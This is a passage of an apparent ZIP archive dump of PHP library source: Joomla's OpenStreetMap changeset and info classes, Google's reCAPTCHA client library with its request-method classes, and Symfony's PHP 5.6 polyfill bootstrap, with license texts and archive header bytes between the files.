encoding="UTF-8"?> <osm version="0.6" generator="JOpenstreetmap">'; if (!empty($changesets)) { // Create Changeset element for every changeset foreach ($changesets as $tags) { $xml .= '<changeset>'; if (!empty($tags)) { // Create a list of tags for each changeset foreach ($tags as $key => $value) { $xml .= '<tag k="' . $key . '" v="' . $value . '"/>'; } } $xml .= '</changeset>'; } } $xml .= '</osm>'; $header['Content-Type'] = 'text/xml'; // Send the request. $response = $this->oauth->oauthRequest($path, 'PUT', $parameters, $xml, $header); return $response->body; } /** * Method to read a changeset * * @param integer $id identifier of the changeset * * @return array The XML response about a changeset * * @since 3.2.0 */ public function readChangeset($id) { // Set the API base $base = 'changeset/' . $id; // Build the request path. $path = $this->getOption('api.url') . $base; // Send the request. $xml_string = $this->sendRequest($path); return $xml_string->changeset; } /** * Method to update a changeset * * @param integer $id Identifier of the changeset * @param array $tags Array of tags to update * * @return array The XML response of updated changeset * * @since 3.2.0 */ public function updateChangeset($id, $tags = array()) { $token = $this->oauth->getToken(); // Set parameters. $parameters = array( 'oauth_token' => $token['key'], ); // Set the API base $base = 'changeset/' . $id; // Build the request path. $path = $this->getOption('api.url') . $base; // Create a list of tags to update changeset $tag_list = ''; if (!empty($tags)) { foreach ($tags as $key => $value) { $tag_list .= '<tag k="' . $key . '" v="' . $value . '"/>'; } } $xml = '<?xml version="1.0" encoding="UTF-8"?> <osm version="0.6" generator="JOpenstreetmap"> <changeset>' . $tag_list . '</changeset> </osm>'; $header['Content-Type'] = 'text/xml'; // Send the request. $response = $this->oauth->oauthRequest($path, 'PUT', $parameters, $xml, $header); $xml_string = simplexml_load_string($response->body); return $xml_string->changeset; } /** * Method to close a changeset * * @param integer $id identifier of the changeset * * @return void * * @since 3.2.0 */ public function closeChangeset($id) { $token = $this->oauth->getToken(); // Set parameters. $parameters = array( 'oauth_token' => $token['key'], ); // Set the API base $base = 'changeset/' . $id . '/close'; // Build the request path. $path = $this->getOption('api.url') . $base; $header['format'] = 'text/xml'; // Send the request. $this->oauth->oauthRequest($path, 'PUT', $parameters, $header); } /** * Method to download a changeset * * @param integer $id Identifier of the changeset * * @return array The XML response of requested changeset * * @since 3.2.0 */ public function downloadChangeset($id) { // Set the API base $base = 'changeset/' . $id . '/download'; // Build the request path. $path = $this->getOption('api.url') . $base; // Send the request. $xml_string = $this->sendRequest($path); return $xml_string->create; } /** * Method to expand the bounding box of a changeset * * @param integer $id Identifier of the changeset * @param array $nodes List of lat lon about nodes * * @return array The XML response of changed changeset * * @since 3.2.0 */ public function expandBBoxChangeset($id, $nodes) { $token = $this->oauth->getToken(); // Set parameters. $parameters = array( 'oauth_token' => $token['key'], ); // Set the API base $base = 'changeset/' . $id . '/expand_bbox'; // Build the request path. $path = $this->getOption('api.url') . $base; // Create a list of tags to update changeset $node_list = ''; if (!empty($nodes)) { foreach ($nodes as $node) { $node_list .= '<node lat="' . $node[0] . '" lon="' . $node[1] . '"/>'; } } $xml = '<?xml version="1.0" encoding="UTF-8"?> <osm version="0.6" generator="JOpenstreetmap"> <changeset>' . $node_list . '</changeset> </osm>'; $header['Content-Type'] = 'text/xml'; // Send the request. $response = $this->oauth->oauthRequest($path, 'POST', $parameters, $xml, $header); $xml_string = simplexml_load_string($response->body); return $xml_string->changeset; } /** * Method to query on changesets * * @param string $param Parameters for query * * @return array The XML response * * @since 3.2.0 */ public function queryChangeset($param) { // Set the API base $base = 'changesets/' . $param; // Build the request path. $path = $this->getOption('api.url') . $base; // Send the request. $xml_string = $this->sendRequest($path); return $xml_string->osm; } /** * Method to upload a diff to a changeset * * @param string $xml Diff data to upload * @param integer $id Identifier of the changeset * * @return array The XML response of result * * @since 3.2.0 */ public function diffUploadChangeset($xml, $id) { $token = $this->oauth->getToken(); // Set parameters. $parameters = array( 'oauth_token' => $token['key'], ); // Set the API base $base = 'changeset/' . $id . '/upload'; // Build the request path. $path = $this->getOption('api.url') . $base; $header['Content-Type'] = 'text/xml'; // Send the request. $response = $this->oauth->oauthRequest($path, 'POST', $parameters, $xml, $header); $xml_string = simplexml_load_string($response->body); return $xml_string->diffResult; } } PK�\� �LLjoomla/openstreetmap/info.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Openstreetmap * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die(); /** * Openstreetmap API Info class for the Joomla Platform * * @since 3.2.0 * @deprecated 4.0 Use the `joomla/openstreetmap` package via Composer instead */ class JOpenstreetmapInfo extends JOpenstreetmapObject { /** * Method to get capabilities of the API * * @return array The XML response * * @since 3.2.0 */ public function getCapabilities() { // Set the API base $base = 'capabilities'; // Build the request path. $path = $this->getOption('api.url') . $base; // Send the request. $response = $this->oauth->oauthRequest($path, 'GET', array()); $xml_string = simplexml_load_string($response->body); return $xml_string; } /** * Method to retrieve map data of a bounding box * * @param float $left Left boundary * @param float $bottom Bottom boundary * @param float $right Right boundary * @param float $top Top boundary * * @return array The XML response * * @since 3.2.0 */ public function retrieveMapData($left, $bottom, $right, $top) { // Set the API base $base = 'map?bbox=' . $left . ',' . $bottom . ',' . $right . ',' . $top; // Build the request path. $path = $this->getOption('api.url') . $base; // Send the request. $response = $this->oauth->oauthRequest($path, 'GET', array()); $xml_string = simplexml_load_string($response->body); return $xml_string; } /** * Method to retrieve permissions for current user * * @return array The XML response * * @since 3.2.0 */ public function retrievePermissions() { // Set the API base $base = 'permissions'; // Build the request path. $path = $this->getOption('api.url') . $base; // Send the request. $response = $this->oauth->oauthRequest($path, 'GET', array()); $xml_string = simplexml_load_string($response->body); return $xml_string; } } PK�\A3k�__<vendor/google/recaptcha/src/ReCaptcha/RequestMethod/Curl.phpnu�[���<?php /** * This is a PHP library that handles calling reCAPTCHA. * * @copyright Copyright (c) 2015, Google Inc. * @link http://www.google.com/recaptcha * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ namespace ReCaptcha\RequestMethod; /** * Convenience wrapper around the cURL functions to allow mocking. */ class Curl { /** * @see http://php.net/curl_init * @param string $url * @return resource cURL handle */ public function init($url = null) { return curl_init($url); } /** * @see http://php.net/curl_setopt_array * @param resource $ch * @param array $options * @return bool */ public function setoptArray($ch, array $options) { return curl_setopt_array($ch, $options); } /** * @see http://php.net/curl_exec * @param resource $ch * @return mixed */ public function exec($ch) { return curl_exec($ch); } /** * @see http://php.net/curl_close * @param resource $ch */ public function close($ch) { curl_close($ch); } } PK�\GI����Bvendor/google/recaptcha/src/ReCaptcha/RequestMethod/SocketPost.phpnu�[���<?php /** * This is a PHP library that handles calling reCAPTCHA. * * @copyright Copyright (c) 2015, Google Inc. * @link http://www.google.com/recaptcha * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ namespace ReCaptcha\RequestMethod; use ReCaptcha\RequestMethod; use ReCaptcha\RequestParameters; /** * Sends a POST request to the reCAPTCHA service, but makes use of fsockopen() * instead of get_file_contents(). This is to account for people who may be on * servers where allow_furl_open is disabled. */ class SocketPost implements RequestMethod { /** * reCAPTCHA service host. * @const string */ const RECAPTCHA_HOST = 'www.google.com'; /** * @const string reCAPTCHA service path */ const SITE_VERIFY_PATH = '/recaptcha/api/siteverify'; /** * @const string Bad request error */ const BAD_REQUEST = '{"success": false, "error-codes": ["invalid-request"]}'; /** * @const string Bad response error */ const BAD_RESPONSE = '{"success": false, "error-codes": ["invalid-response"]}'; /** * Socket to the reCAPTCHA service * @var Socket */ private $socket; /** * Constructor * * @param \ReCaptcha\RequestMethod\Socket $socket optional socket, injectable for testing */ public function __construct(Socket $socket = null) { if (!is_null($socket)) { $this->socket = $socket; } else { $this->socket = new Socket(); } } /** * Submit the POST request with the specified parameters. * * @param RequestParameters $params Request parameters * @return string Body of the reCAPTCHA response */ public function submit(RequestParameters $params) { $errno = 0; $errstr = ''; if (false === $this->socket->fsockopen('ssl://' . self::RECAPTCHA_HOST, 443, $errno, $errstr, 30)) { return self::BAD_REQUEST; } $content = $params->toQueryString(); $request = "POST " . self::SITE_VERIFY_PATH . " HTTP/1.1\r\n"; $request .= "Host: " . self::RECAPTCHA_HOST . "\r\n"; $request .= "Content-Type: application/x-www-form-urlencoded\r\n"; $request .= "Content-length: " . strlen($content) . "\r\n"; $request .= "Connection: close\r\n\r\n"; $request .= $content . "\r\n\r\n"; $this->socket->fwrite($request); $response = ''; while (!$this->socket->feof()) { $response .= $this->socket->fgets(4096); } $this->socket->fclose(); if (0 !== strpos($response, 'HTTP/1.1 200 OK')) { return self::BAD_RESPONSE; } $parts = preg_split("#\n\s*\n#Uis", $response); return $parts[1]; } } PK�\��a�xx>vendor/google/recaptcha/src/ReCaptcha/RequestMethod/Socket.phpnu�[���<?php /** * This is a PHP library that handles calling reCAPTCHA. * * @copyright Copyright (c) 2015, Google Inc. * @link http://www.google.com/recaptcha * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ namespace ReCaptcha\RequestMethod; /** * Convenience wrapper around native socket and file functions to allow for * mocking. */ class Socket { private $handle = null; /** * fsockopen * * @see http://php.net/fsockopen * @param string $hostname * @param int $port * @param int $errno * @param string $errstr * @param float $timeout * @return resource */ public function fsockopen($hostname, $port = -1, &$errno = 0, &$errstr = '', $timeout = null) { $this->handle = fsockopen($hostname, $port, $errno, $errstr, (is_null($timeout) ? ini_get("default_socket_timeout") : $timeout)); if ($this->handle != false && $errno === 0 && $errstr === '') { return $this->handle; } else { return false; } } /** * fwrite * * @see http://php.net/fwrite * @param string $string * @param int $length * @return int | bool */ public function fwrite($string, $length = null) { return fwrite($this->handle, $string, (is_null($length) ? strlen($string) : $length)); } /** * fgets * * @see http://php.net/fgets * @param int $length * @return string */ public function fgets($length = null) { return fgets($this->handle, $length); } /** * feof * * @see http://php.net/feof * @return bool */ public function feof() { return feof($this->handle); } /** * fclose * * @see http://php.net/fclose * @return bool */ public function fclose() { return fclose($this->handle); } } PK�\^��� � <vendor/google/recaptcha/src/ReCaptcha/RequestMethod/Post.phpnu�[���<?php /** * This is a PHP library that handles calling reCAPTCHA. * * @copyright Copyright (c) 2015, Google Inc. * @link http://www.google.com/recaptcha * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ namespace ReCaptcha\RequestMethod; use ReCaptcha\RequestMethod; use ReCaptcha\RequestParameters; /** * Sends POST requests to the reCAPTCHA service. */ class Post implements RequestMethod { /** * URL to which requests are POSTed. * @const string */ const SITE_VERIFY_URL = 'https://www.google.com/recaptcha/api/siteverify'; /** * Submit the POST request with the specified parameters. * * @param RequestParameters $params Request parameters * @return string Body of the reCAPTCHA response */ public function submit(RequestParameters $params) { /** * PHP 5.6.0 changed the way you specify the peer name for SSL context options. * Using "CN_name" will still work, but it will raise deprecated errors. */ $peer_key = version_compare(PHP_VERSION, '5.6.0', '<') ? 'CN_name' : 'peer_name'; $options = array( 'http' => array( 'header' => "Content-type: application/x-www-form-urlencoded\r\n", 'method' => 'POST', 'content' => $params->toQueryString(), // Force the peer to validate (not needed in 5.6.0+, but still works 'verify_peer' => true, // Force the peer validation to use www.google.com $peer_key => 'www.google.com', ), ); $context = stream_context_create($options); return file_get_contents(self::SITE_VERIFY_URL, false, $context); } } PK�\��iRgg@vendor/google/recaptcha/src/ReCaptcha/RequestMethod/CurlPost.phpnu�[���<?php /** * This is a PHP library that handles calling reCAPTCHA. * * @copyright Copyright (c) 2015, Google Inc. * @link http://www.google.com/recaptcha * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ namespace ReCaptcha\RequestMethod; use ReCaptcha\RequestMethod; use ReCaptcha\RequestParameters; /** * Sends cURL request to the reCAPTCHA service. * Note: this requires the cURL extension to be enabled in PHP * @see http://php.net/manual/en/book.curl.php */ class CurlPost implements RequestMethod { /** * URL to which requests are sent via cURL. * @const string */ const SITE_VERIFY_URL = 'https://www.google.com/recaptcha/api/siteverify'; /** * Curl connection to the reCAPTCHA service * @var Curl */ private $curl; public function __construct(Curl $curl = null) { if (!is_null($curl)) { $this->curl = $curl; } else { $this->curl = new Curl(); } } /** * Submit the cURL request with the specified parameters. * * @param RequestParameters $params Request parameters * @return string Body of the reCAPTCHA response */ public function submit(RequestParameters $params) { $handle = $this->curl->init(self::SITE_VERIFY_URL); $options = array( CURLOPT_POST => true, CURLOPT_POSTFIELDS => $params->toQueryString(), CURLOPT_HTTPHEADER => array( 'Content-Type: application/x-www-form-urlencoded' ), CURLINFO_HEADER_OUT => false, CURLOPT_HEADER => false, CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => true ); $this->curl->setoptArray($handle, $options); $response = $this->curl->exec($handle); $this->curl->close($handle); return $response; } } PK�\d�F�pp;vendor/google/recaptcha/src/ReCaptcha/RequestParameters.phpnu�[���<?php /** * This is a PHP library that handles calling reCAPTCHA. * * @copyright Copyright (c) 2015, Google Inc. * @link http://www.google.com/recaptcha * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ namespace ReCaptcha; /** * Stores and formats the parameters for the request to the reCAPTCHA service. */ class RequestParameters { /** * Site secret. * @var string */ private $secret; /** * Form response. * @var string */ private $response; /** * Remote user's IP address. * @var string */ private $remoteIp; /** * Client version. * @var string */ private $version; /** * Initialise parameters. * * @param string $secret Site secret. * @param string $response Value from g-captcha-response form field. * @param string $remoteIp User's IP address. * @param string $version Version of this client library. */ public function __construct($secret, $response, $remoteIp = null, $version = null) { $this->secret = $secret; $this->response = $response; $this->remoteIp = $remoteIp; $this->version = $version; } /** * Array representation. * * @return array Array formatted parameters. */ public function toArray() { $params = array('secret' => $this->secret, 'response' => $this->response); if (!is_null($this->remoteIp)) { $params['remoteip'] = $this->remoteIp; } if (!is_null($this->version)) { $params['version'] = $this->version; } return $params; } /** * Query string representation for HTTP request. * * @return string Query string formatted parameters. */ public function toQueryString() { return http_build_query($this->toArray(), '', '&'); } } PK�\�'���3vendor/google/recaptcha/src/ReCaptcha/ReCaptcha.phpnu�[���<?php /** * This is a PHP library that handles calling reCAPTCHA. * * @copyright Copyright (c) 2015, Google Inc. * @link http://www.google.com/recaptcha * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ namespace ReCaptcha; /** * reCAPTCHA client. */ class ReCaptcha { /** * Version of this client library. * @const string */ const VERSION = 'php_1.1.2'; /** * Shared secret for the site. * @var type string */ private $secret; /** * Method used to communicate with service. Defaults to POST request. * @var RequestMethod */ private $requestMethod; /** * Create a configured instance to use the reCAPTCHA service. * * @param string $secret shared secret between site and reCAPTCHA server. * @param RequestMethod $requestMethod method used to send the request. Defaults to POST. */ public function __construct($secret, RequestMethod $requestMethod = null) { if (empty($secret)) { throw new \RuntimeException('No secret provided'); } if (!is_string($secret)) { throw new \RuntimeException('The provided secret must be a string'); } $this->secret = $secret; if (!is_null($requestMethod)) { $this->requestMethod = $requestMethod; } else { $this->requestMethod = new RequestMethod\Post(); } } /** * Calls the reCAPTCHA siteverify API to verify whether the user passes * CAPTCHA test. * * @param string $response The value of 'g-recaptcha-response' in the submitted form. * @param string $remoteIp The end user's IP address. * @return Response Response from the service. */ public function verify($response, $remoteIp = null) { // Discard empty solution submissions if (empty($response)) { $recaptchaResponse = new Response(false, array('missing-input-response')); return $recaptchaResponse; } $params = new RequestParameters($this->secret, $response, $remoteIp, self::VERSION); $rawResponse = $this->requestMethod->submit($params); return Response::fromJson($rawResponse); } } PK�\ ���??7vendor/google/recaptcha/src/ReCaptcha/RequestMethod.phpnu�[���<?php /** * This is a PHP library that handles calling reCAPTCHA. * * @copyright Copyright (c) 2015, Google Inc. * @link http://www.google.com/recaptcha * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ namespace ReCaptcha; /** * Method used to send the request to the service. */ interface RequestMethod { /** * Submit the request with the specified parameters. * * @param RequestParameters $params Request parameters * @return string Body of the reCAPTCHA response */ public function submit(RequestParameters $params); } PK�\�o�� � 2vendor/google/recaptcha/src/ReCaptcha/Response.phpnu�[���<?php /** * This is a PHP library that handles calling reCAPTCHA. * * @copyright Copyright (c) 2015, Google Inc. * @link http://www.google.com/recaptcha * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ namespace ReCaptcha; /** * The response returned from the service. */ class Response { /** * Succes or failure. * @var boolean */ private $success = false; /** * Error code strings. * @var array */ private $errorCodes = array(); /** * Build the response from the expected JSON returned by the service. * * @param string $json * @return \ReCaptcha\Response */ public static function fromJson($json) { $responseData = json_decode($json, true); if (!$responseData) { return new Response(false, array('invalid-json')); } if (isset($responseData['success']) && $responseData['success'] == true) { return new Response(true); } if (isset($responseData['error-codes']) && is_array($responseData['error-codes'])) { return new Response(false, $responseData['error-codes']); } return new Response(false); } /** * Constructor. * * @param boolean $success * @param array $errorCodes */ public function __construct($success, array $errorCodes = array()) { $this->success = $success; $this->errorCodes = $errorCodes; } /** * Is success? * * @return boolean */ public function isSuccess() { return $this->success; } /** * Get error codes. * * @return array */ public function getErrorCodes() { return $this->errorCodes; } } PK�\9�Ȓ�(vendor/google/recaptcha/src/autoload.phpnu�[���<?php /* An autoloader for ReCaptcha\Foo classes. This should be require()d * by the user before attempting to instantiate any of the ReCaptcha * classes. */ spl_autoload_register(function ($class) { if (substr($class, 0, 10) !== 'ReCaptcha\\') { /* If the class does not lie under the "ReCaptcha" namespace, * then we can exit immediately. */ return; } /* All of the classes have names like "ReCaptcha\Foo", so we need * to replace the backslashes with frontslashes if we want the * name to map directly to a location in the filesystem. */ $class = str_replace('\\', '/', $class); /* First, check under the current directory. It is important that * we look here first, so that we don't waste time searching for * test classes in the common case. */ $path = dirname(__FILE__).'/'.$class.'.php'; if (is_readable($path)) { require_once $path; } /* If we didn't find what we're looking for already, maybe it's * a test class? */ $path = dirname(__FILE__).'/../tests/'.$class.'.php'; if (is_readable($path)) { require_once $path; } }); PK�\�)���vendor/google/recaptcha/LICENSEnu�[���Copyright 2014, Google Inc. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of Google Inc. nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. PK�\��vL**+vendor/symfony/polyfill-php56/bootstrap.phpnu�[���<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ use Symfony\Polyfill\Php56 as p; if (PHP_VERSION_ID >= 50600) { return; } if (!function_exists('hash_equals')) { function hash_equals($known_string, $user_string) { return p\Php56::hash_equals($known_string, $user_string); } } if (extension_loaded('ldap') && !defined('LDAP_ESCAPE_FILTER')) { define('LDAP_ESCAPE_FILTER', 1); } if (extension_loaded('ldap') && !defined('LDAP_ESCAPE_DN')) { define('LDAP_ESCAPE_DN', 2); } if (extension_loaded('ldap') && !function_exists('ldap_escape')) { function ldap_escape($value, $ignore = '', $flags = 0) { return p\Php56::ldap_escape($value, $ignore, $flags); } } if (50509 === PHP_VERSION_ID && 4 === PHP_INT_SIZE) { // Missing functions in PHP 5.5.9 - affects 32 bit builds of Ubuntu 14.04LTS // See https://bugs.launchpad.net/ubuntu/+source/php5/+bug/1315888 if (!function_exists('gzopen') && function_exists('gzopen64')) { function gzopen($filename, $mode, $use_include_path = 0) { return gzopen64($filename, $mode, $use_include_path); } } if (!function_exists('gzseek') && function_exists('gzseek64')) { function gzseek($fp, $offset, $whence = SEEK_SET) { return gzseek64($fp, $offset, $whence); } } if (!function_exists('gztell') && function_exists('gztell64')) { function gztell($fp) { return gztell64($fp); } } } PK�\�\�))%vendor/symfony/polyfill-php56/LICENSEnu�[���Copyright (c) 2015-2019 Fabien Potencier Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN 